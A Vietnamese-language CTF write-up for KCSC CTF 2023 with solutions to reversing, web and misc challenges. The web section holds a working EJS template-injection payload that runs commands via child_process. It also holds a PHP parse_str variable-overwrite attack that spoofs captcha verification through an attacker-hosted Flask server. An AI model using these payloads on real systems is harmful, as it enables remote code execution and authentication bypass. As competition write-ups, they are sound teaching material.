# KCSC CTF 2023 (purf4ke) # REV ## Gues ```c= int __cdecl main(int argc, const char **argv, const char **envp) { unsigned __int64 v3; // rax __int64 i; // rbx __int64 a1[2]; // [rsp+20h] [rbp-478h] BYREF __int128 v7; // [rsp+30h] [rbp-468h] __int128 v8; // [rsp+40h] [rbp-458h] __int128 v9; // [rsp+50h] [rbp-448h] __int128 v10; // [rsp+60h] [rbp-438h] __int128 v11; // [rsp+70h] [rbp-428h] char v12[1024]; // [rsp+80h] [rbp-418h] BYREF memset(v12, 0, sizeof(v12)); *(_OWORD *)a1 = 0i64; v7 = 0i64; v8 = 0i64; v9 = 0i64; v10 = 0i64; v11 = 0i64; printf_5("[+] Input key: "); scanf("%s", v12, 1024i64); v3 = -1i64; do ++v3; while ( v12[v3] ); if ( v3 > 4 ) { printf_5("too long"); exit(0); } enc(a1, (__int64 *)v12); for ( i = 0i64; i < 24; ++i ) printf_5("%c", *((unsigned int *)a1 + i)); return 0; } ``` - Chương trình yêu cầu mình nhập với key là 4 chữ, sau đó thì sẽ decrypt cipher với key mình nhập vào. hàm `ENC` rất dài nhưng mình cũng không cần quan tâm bên trong làm gì. Vậy công việc của mình là phải tìm được **key**, mà để tìm được thì không còn cách nào khác là phải thử từng trường hợp. - Vậy ý tưởng của mình ở đây sẽ là chạy chương trình nhiều lần và thử từng **key** một nếu có form flag là `KCSC` thì mình sẽ in ra. - Solve script: ```python= from subprocess import Popen, PIPE, STDOUT stab = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for a in stab: for b in stab: for c in stab: for d in stab: inp = a+b+c+d p = Popen(['gues.exe'], stdout=PIPE, stdin=PIPE, stderr=STDOUT) tmp = p.communicate(f'{inp}'.encode())[0].rstrip() if b"KCSC" in tmp: print(tmp) exit(0) # flag: KCSC{brut6_n6rv6r_die} ``` ## FOX ```c= int __cdecl main(int argc, const char **argv, const char **envp) { ...... v16 = v3; v17 = xmmword_402170; // cipher v23[0] = xmmword_402160;// cipher v18 = -1292;// cipher v23[1] = xmmword_402150;// cipher v24 = -450398155;// cipher v25 = 101027725;// cipher v26 = 6481;// cipher memset(Arglist, 0, 0x80u); v28 = 0; memset(ArgList, 0, sizeof(ArgList)); sub_401020("[+] Input: ", v15); sub_401080("%s", (char)Arglist); if ( strlen(Arglist) != 18 ) sub_401020("\nHmmmm...\n", v3); for ( i = 0; i < 18; ++i ) { v20 = (void (*)(void))VirtualAlloc(0, 0x1000u, 0x3000u, 0x40u); v19 = *((_BYTE *)&v17 + i) ^ Arglist[i]; *(_DWORD *)v20 = v19; v20(); } .......... } ``` - Ở phần đầu, chương trình truyền cipher vào các biến, sau đó chúng ta sẽ được nhập `key`,và ở bên dưới sẽ tiến hành phân một vùng nhớ mới, vào xor với `key` mình nhập vào để tạo thành ``shellcode`` , vậy thì để đơn giản cho chương trình không thực thi shellcode bị lỗi thì mình sẽ tính toán sao cho shellcode toàn là lệnh ``return`` , để làm được vậy thì mình cần biết bytecode của lệnh **return** trong assembly là bao nhiêu : ![](https://hackmd.io/_uploads/HkcbSqgB2.png) - Vậy là chúng ta sẽ phải tính toán sao cho shellcode sẽ toàn là bytecode **0xC3**. - Script : ```python= cipher = [ 0xB1, 0xA6, 0xB7, 0xF6, 0xB1, 0xF4, 0x9C, 0xAA, 0xAD, 0x9C, 0xA2, 0xF6, 0xF6, 0xA6, 0xAE, 0xA1, 0xF4, 0xFA, ] for i in cipher: print(chr(i^0xC3),end="") # ret5r7_in_a55emb79 ``` - Nhập thử vào chương trình ta được flag : ![](https://hackmd.io/_uploads/BJDV8ceBh.png) - Nhưng khi mình submit thử thì bị incorrect :( - Mình thử check HEX thì thấy có những chuỗi lạ mà lúc chạy chương trình không in ra hay sử dụng tới nên mình nghĩ ngay tới **DOSBOX** trong PE file : ![](https://hackmd.io/_uploads/BJjc85eB2.png) - Load lại chương trình vào IDA và chọn mode MSDOS: ![](https://hackmd.io/_uploads/H1-yDceH3.png) - Vậy là đúng như mình đã đoán, bây giờ chỉ cần lên tìm tool để có thể chạy được DOS Box và debug được là chúng ta có thể làm được bài này rồi. ![](https://hackmd.io/_uploads/Hyhbv9xrn.png) - Chạy Chương trình trên DOSBOX: ![](https://hackmd.io/_uploads/rkwz_clrh.png) - Vì không thể F5 được trong IDA với code của DOSBOX nên mình sẽ đọc code assembly, và kết quả là đổi tên được 2 hàm là ``memcp`` và ``xor``: ![](https://hackmd.io/_uploads/HkJKOqgrh.png) - Mình đọc và xor ngược lại là xong : ```c= #include<stdio.h> int main(){ unsigned char cipher[]={0x51,0x6c,0x7a,0x57,0xc8,0x64,0xd1,0x6f,0x81,0x11,0x11,0x39,0xb1,0x73,0xdb,0x53,0x7c,0x5c,0x79,0x02,0xe5,0x61,0xca,0x69,0xad,0x30,0x18,0x5b,0x2b,0x5d,0x20,0x49}; unsigned char next_chunk[] ={0x43, 0x6F, 0x6E, 0x67, 0x72, 0x61, 0x74, 0x75, 0x6C, 0x61,0x74, 0x69, 0x6F, 0x6E, 0x73, 0x21, 0x24}; unsigned char const_chunk[]={0x59,0x40,0x47,0x73,0xc1,0x57,0xc0,0x7b,0xda,0x2f,0x03,0x3c,0xbf,0x24,0xf7,0x43}; unsigned char tmp[] = {0x51,0x6c,0x7a,0x57,0xc8,0x64,0xd1,0x6f,0x81,0x11,0x11,0x39,0xb1,0x73,0xdb,0x53,0x7c,0x0}; int i; for(i=0;i<16;i++){ tmp[i] = cipher[i]^next_chunk[i]; tmp[i]^=const_chunk[i]; printf("%c",tmp[i]&0xff); } for(i=16;i<32;i++){ cipher[i]^= next_chunk[i-16]; cipher[i] = cipher[i-16]^cipher[i]; printf("%c",cipher[i]&0xff); } } // flag : KCSC{Rea7_fla9_1n_m2_dos@@} ``` ## Loader - Đây là một bài reverse Golang đã bị strip hết symbol. Để rename lại được symbol thì mình dùng tool có sẵn ở trên github của Madiant : https://github.com/mandiant/GoReSym/releases/ - Sau khi dùng tool để rename lại hết symbol thì mọi thứ rất đơn giản rồi, mình chỉ cần debug là có thể ra flag : ![](https://hackmd.io/_uploads/SJGpKqeSn.png) - Đặt BP và trace tới hàm sau khi đã decrypt chúng ta được 1 đường link tới google drive: ![](https://hackmd.io/_uploads/SJpVc9gS3.png) - Đi theo đường link drive : ![](https://hackmd.io/_uploads/rJJ_9qlBn.png) - Mình decode base64 và được file PNG: ![](https://hackmd.io/_uploads/ryV6q5gr3.png) ## Mix - Đây là một bài .net ...( hoặc có thể là C++) ?? ![](https://hackmd.io/_uploads/Hk1Ij5gS3.png) - Khi ném vào Dnspy mình không thể tìm được hàm main đang nằm ở đâu: ![](https://hackmd.io/_uploads/S15FjcxHh.png) - Mình tiến hành nhảy tới entrypoint trước tiên đã sau đó thì mình sẽ bật debug để theo dõi: - Khi nhấn Go To Entrypoint trong dnspy: ![](https://hackmd.io/_uploads/rJlkJhclSh.png) - Mình thấy có 1 hàm khá là lạ ở ngay phía trên (`ResolveMethod.... gì gì đó`): - Mình thử đặt ngay bp vào hàm này và debug : ![](https://hackmd.io/_uploads/SJ7E2ceHn.png) - Nextstep 2 lần thì mình nhảy tới 1 hàm khá là hay =)) : ![](https://hackmd.io/_uploads/BJxd25lSh.png) - Tên hàm khá là nghi ngờ: ```.NET= // Token: 0x0600000B RID: 11 RVA: 0x00001000 File Offset: 0x00000400 internal unsafe static void ??__EflagEnc@@YMXXZ() { $ArrayType$$$BY0BE@E $ArrayType$$$BY0BE@E = 143; *(ref $ArrayType$$$BY0BE@E + 1) = 124; *(ref $ArrayType$$$BY0BE@E + 2) = 41; *(ref $ArrayType$$$BY0BE@E + 3) = 217; *(ref $ArrayType$$$BY0BE@E + 4) = 251; *(ref $ArrayType$$$BY0BE@E + 5) = 185; *(ref $ArrayType$$$BY0BE@E + 6) = 171; *(ref $ArrayType$$$BY0BE@E + 7) = 26; *(ref $ArrayType$$$BY0BE@E + 8) = 74; *(ref $ArrayType$$$BY0BE@E + 9) = 83; *(ref $ArrayType$$$BY0BE@E + 10) = 173; *(ref $ArrayType$$$BY0BE@E + 11) = 236; *(ref $ArrayType$$$BY0BE@E + 12) = 169; *(ref $ArrayType$$$BY0BE@E + 13) = 239; *(ref $ArrayType$$$BY0BE@E + 14) = 22; *(ref $ArrayType$$$BY0BE@E + 15) = 115; *(ref $ArrayType$$$BY0BE@E + 16) = 128; *(ref $ArrayType$$$BY0BE@E + 17) = 248; *(ref $ArrayType$$$BY0BE@E + 18) = 92; *(ref $ArrayType$$$BY0BE@E + 19) = 93; void* ptr = <Module>.@new(20UL); <Module>.flagEnc = ptr; *(ref <Module>.flagEnc + 8) = ptr; *(ref <Module>.flagEnc + 16) = (byte*)ptr + 20L; _Tidy_guard<std::vector<unsigned\u0020char,std::allocator<unsigned\u0020char>\u0020>\u0020> tidy_guard<std::vector<unsigned_u0020char,std::allocator<unsigned_u0020char>_u0020>_u0020> = ref <Module>.flagEnc; try { byte* ptr2 = <Module>.flagEnc; <Module>.memmove((void*)ptr2, (void*)(&$ArrayType$$$BY0BE@E), 20UL); byte* ptr3 = ptr2 + 20L; *(ref <Module>.flagEnc + 8) = ptr3; tidy_guard<std::vector<unsigned_u0020char,std::allocator<unsigned_u0020char>_u0020>_u0020> = 0L; } catch { <Module>.___CxxCallUnwindDtor(ldftn(std._Tidy_guard<std::vector<unsigned\u0020char,std::allocator<unsigned\u0020char>\u0020>\u0020>.{dtor}), (void*)(&tidy_guard<std::vector<unsigned_u0020char,std::allocator<unsigned_u0020char>_u0020>_u0020>)); throw; } <Module>._atexit_m(ldftn(?A0xf3bb847e.??__FflagEnc@@YMXXZ)); } ``` - Mình thấy chương trình có sử dụng `<Module>.FlagEnc` nên mình thử tìm reference của nó được đùng ở những chỗ nào : ![](https://hackmd.io/_uploads/SJNgp5xS3.png) - Thì ra hàm **main** nằm ở đây : ![](https://hackmd.io/_uploads/SkiG6ceB2.png) - Nhưng trông vẫn rất là khó đọc - Trông những hàm như "basic::string"... thường sẽ nằm trong C++ nên mình thử ném file thực thi này vào IDA. - Khi cho vào IDA mình thấy chương trình này giống hệt một chương trình C/C++ bình thường, vậy mà lại có cả code C#. Mình thử trace đến entrypoint và theo kinh nghiệm để tìm đc main: ![](https://hackmd.io/_uploads/Hyd7zilBh.png) - Bên trong main chỉ có duy nhất offset này, đi tiếp vào bên trong thì mình nhìn thấy nó khá giông cái token ở bên .net : ![](https://hackmd.io/_uploads/rJcBfjxH2.png) - Mình thử nhập go to token với cái token này thì đúng là nó đã nhảy tới hàm main ở trong .net : ![](https://hackmd.io/_uploads/rymOzigHn.png) - Dựa vào RVA trong C# của hàm `enc` mà mình tìm được hàm enc thật ở bên trong code C++: RVA: ![](https://hackmd.io/_uploads/Hk6WiGZSh.png) RVA to offset in C++: ![](https://hackmd.io/_uploads/B1zsEsxrh.png) - Mình thử đặt breakpoint tại hàm này và bật debug ở IDA nhưng bị lỗi : ![](https://hackmd.io/_uploads/S1T-HjeHh.png) - Thử debug bằng cách attach process thì thành công, và dường như là lỗi nằm ở phần load module từ KERNEL32.dll , và cả KERNELBASE.DLL, mình cũng không rõ tại sao lại như vậy. - chạy qua đoạn xor ban đầu : ![](https://hackmd.io/_uploads/ryLOHjerh.png) - Mình tắt debug và phân tính tĩnh. Ngồi lại một lúc thì mình thấy là chương trình ở C++ đang gọi hàm ở .net và .net thì lại gọi hàm ở C++. nếu mình có thể ghép 2 chương trình này lại với nhau thì mình có thể hiểu được flow của tác giả. - Mình quay lại .net và đọc hàm main trước thì tóm lại nó từng bước như sau: + Before Main : Setup cipher (Work on .NET) ![](https://hackmd.io/_uploads/SJYPUsgH2.png) + Main -> Read input from user (Work on .NET) ![](https://hackmd.io/_uploads/ByaYIslrn.png) + Encrypt flag from user (Work on C++) ![](https://hackmd.io/_uploads/Sk6qIoxS3.png) + Compare user cipher and cipher from program (Work on .NET) - Vậy không hoài nghi gì nữa thì mình sẽ tiếp tục đọc hàm `enc` mình tìm thấy bên trong C++: ![](https://hackmd.io/_uploads/ByO4wjlB2.png) - Ảnh bên trên là dấu hiệu nhận biết của mình về hàm sử dụng mã hóa đối xứng ``salsa20``. - Lúc này mọi thứ rõ ràng rồi, mình chỉ cần patch lại input thành cipher là có thể tìm được lại flag: ![](https://hackmd.io/_uploads/HkuVOoxr3.png) # Web by 5h4s1 ## valentine (stolen) - Description: - Tổng quan về challenge thì đây là 1 trang web cho chúng ta nhập vào template và thực hiện xử lý template đó. - Thêm 1 hint của tác giả về challenge này là tác giả đã cho chúng ta 1 write up của 1 challenge tương tự như vậy. Nhưng với bải này của tác giả thì sẽ thực hiện filter khác với bài trong write up. - Solution: - Sau khi đọc write up khá là dài mà tác giả hint cho thì mình cũng hiểu được các làm của bài trong write up là sẽ sử dụng EJS custom delimiters để có thể bypass qua các bước check của bài để có thể gây ra lỗi SSTI được. - Với bài `valentine` thì chúng ta cũng có thể áp dụng được cách này một cách khá dễ dàng. Mình đã đọc bài viết ở [đây](https://hxp.io/blog/101/hxp-CTF-2022-valentine/) và làm theo cách của bài viết thành công và có được flag. - Script: Đây là script mình solve challenge trên: ```python import requests url = "https://valentine.kcsc.tf" # cho thêm {{ name }} vì trong code có check xem template nhập vào có chứa chuỗi đó không tmpl = """<.= global.process.mainModule.require('child_process').execSync('/readflag') .>{{ name }} """ data = { "tmpl": tmpl, "name": "5h4s1" } res = requests.post(url + "/template" , data=data, allow_redirects=False) redirect = res.headers['location'] res = requests.get(url + redirect + "&delimiter=.") print(res.text) ``` - Flag: `KCSC{https://www.youtube.com/watch?v=A5OLaBlQP9I}` ## Bypass Captcha - Description: - Tổng quan về challenge đây là 1 website có chức năng nhập vào password và nếu nhập đúng, captcha hợp lệ thì sẽ có được flag - Solution: - Sau khi đọc 1 phần code thì ta sẽ hiểu về luồng cơ bản như sau: - Sau khi nhập password và submit -> server thực hiện check response captcha chúng ta truyền lên có đúng hay không, nếu đúng và thời gian xác thực captcha không quá 5 giây so với thời gian hiện tại, nếu qua thì check tiếp password, password đúng nữa sẽ có được flag - Đọc hết 1 lượt code thì nhận ra có dòng `parse_str($_SERVER['QUERY_STRING']);` - Đây là 1 phần rất lạ của bài này vì theo luồng check pass và captcha có liên quan gì đến `QUERY_STRING` đâu. - Tiếp tục focus vào đây và thấy rằng func `parse_str` nó sẽ được sử dụng để phân tích và trích xuất các tham số và giá trị tương ứng từ query string này và gán chúng vào các biến tương ứng trong phạm vi hiện tại. - Ví dụ cụ thể như: nếu URL có query string là name=John&age=30, thì khi sử dụng parse_str($_SERVER['QUERY_STRING']);, hai biến $name và $age sẽ được tạo ra và có giá trị tương ứng là "John" và 30. - Rồi đã biết lỗ hổng ở đây rồi. Có nghĩa là chúng ta sẽ thực hiện việc hàm parse_str extract query string ra thành các biến khác nhau (nếu các biến tồn tại nó sẽ thực hiện replace). Từ đó ta có ý tưởng là repace biến $passwd và truyền các giá trị theo ta mong muốn vào là được. - Nhưng không, nếu ta replace trên web sẽ không được vì captcha đã verify website rồi. Mà thực hiện gửi bằng script thì phải nhập response nhanh hơn 5s từ lúc gen ra response (phải tay to lắm mới send được). - Vì mình tay bé nên mình đã code ra 1 website trả về response success như khi gửi `$SITE_VERIFY` nhưng với thời gian thật lâu để có thể qua bước check. - Code file app.py: ```python from flask import Flask, jsonify app = Flask(__name__) @app.route('/', methods=['POST']) def get_user(): user = { "success": True, "challenge_ts": "2024-02-28T15:14:30.096Z", "hostname": "example.com", "error-codes": [], "action": "login", "cdata": "sessionid-123456789" } return jsonify(user) if __name__ == '__main__': app.run() ``` - Ok deloy con web này và cho nó public ra (mọi người có thể sử dụng ngrok, ở đây thằng bạn mình có VPS nên deloy lên đó luôn) - Như mình đã nói thì mình phải viết script để send payload lên vì nếu gửi trên web sẽ bị lỗi ngay. - file script.py: ```python import requests url = "https://bypass-captcha.kcsc.tf/?PASSWD=1&SITE_VERIFY=10.10.10.10" data = { "passwd":"1", "response":"5h4s1" } res = requests.post(url, data=data) print(res.text) ``` - Chạy script và lụm flag thôi # MISC ## Git Gud - Description: - Unzip file tải về và `ls -la` thấy có folder `.git`. Ngonnnnnn có vẻ bài này tìm thông tin trên folder git này rồi. - Solution: - Thực hiện `git log` xem có thay đổi gì không ![](https://hackmd.io/_uploads/rktuMbZHn.png) - Có thấy xóa file `rac.jpg`. - Khôi phục lại xem sao nào - ![](https://hackmd.io/_uploads/HJ1eXWWSn.png) - Lụm ngay flag: KCSC{G1t_h1st0Ry_d1v1n9} # Discord check - Description: - Đúng như đầu bài - Check discord đê - Solution: - Có ngay flag: `KCSC{KCSC_CTF_D1sc0rd_ch3cK3r}` ![](https://hackmd.io/_uploads/BkmtmbWSh.png) ###### Trên đây là các bài mình làm được trong thời gian giải diễn ra. Vì thời gian viết writeup khá gấp nên viết hơi sơ sài. Mọi người thông cảm. Và nếu rảnh mình sẽ update thêm mấy bài web mình chưa giải trong thời gian giải diễn ra nữa !!!